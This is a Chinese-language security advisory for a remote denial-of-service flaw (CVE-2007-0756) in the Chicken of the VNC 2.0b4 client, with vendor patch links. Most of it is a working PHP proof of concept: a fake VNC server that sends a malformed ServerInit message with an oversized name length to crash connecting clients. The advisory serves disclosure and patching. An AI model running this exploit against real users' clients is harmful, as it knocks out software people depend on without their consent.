Chicken of the VNC是Mac OS X的VNC客户端。

 

Chicken of the VNC 2.0b4存在远程拒绝服务漏洞，ServerInit报文内计算机名称如果过大会触发失败的malloc及空指针间接引用。

 

BUGTRAQ-ID:22372

CVE-ID:2007-0756

受影响系统：

Chicken of the VNC Chicken of the VNC 2.0 b4

 

测试方法：

警  告以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！<?

$port = "5900";

 

$BadServerInit=

"\\x04\\x00".                                     // fb-width

"\\x03\\x00".                                     // fb-hight

"\\x20".                                         // bits per pixel

"\\x18".                                         // depth

"\\x00".                                         // big-endian flag

"\\x01".                                         // true-color flag

"\\x00\\xff\\x00\\xff\\x00\\xff".             // r-g-b max

"\\x10\\x08\\x00".                             // r-g-b shift

"\\x00\\x00\\x00".                             // padding

"\\xff\\xff\\xff\\xff".                         // computer-name size

"DIE_PLZ";                                      // computer-name

 

 

$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);

socket_bind($ser,"0.0.0.0", $port);

 

socket_listen($ser, 5);

 

print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference 02-02-2007   poplix [@] papuasia.org listening on $port ...\\n";

 

$cotv = socket_accept($ser);

print "client connected\\n";

 

socket_write($cotv, "RFB 00 3.008\\n");

while($i=socket_read($cotv, 1024))

       if(substr($i,0,6) == "RFB 00") break;

 

 

print "protocol has been negotiated\\n";

 

socket_write($cotv, "\\x00\\x00\\x00\\x01");

while($i=socket_read($cotv, 1024))

       if(ord($i[0])==0 || ord($i[0])==1)break;

 

print "sending expl...\\n";

 

socket_write($cotv, $BadServerInit);

 

 

socket_close($cotv);

 

socket_close($ser);

 

print "done\\n";

?>

解决办法：

厂商补丁：

 

Chicken of the VNC

------------------

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

 

http://sourceforge.net/projects/cotvnc/

 

参考信息：

http://xforce.iss.net/xforce/xfdb/32166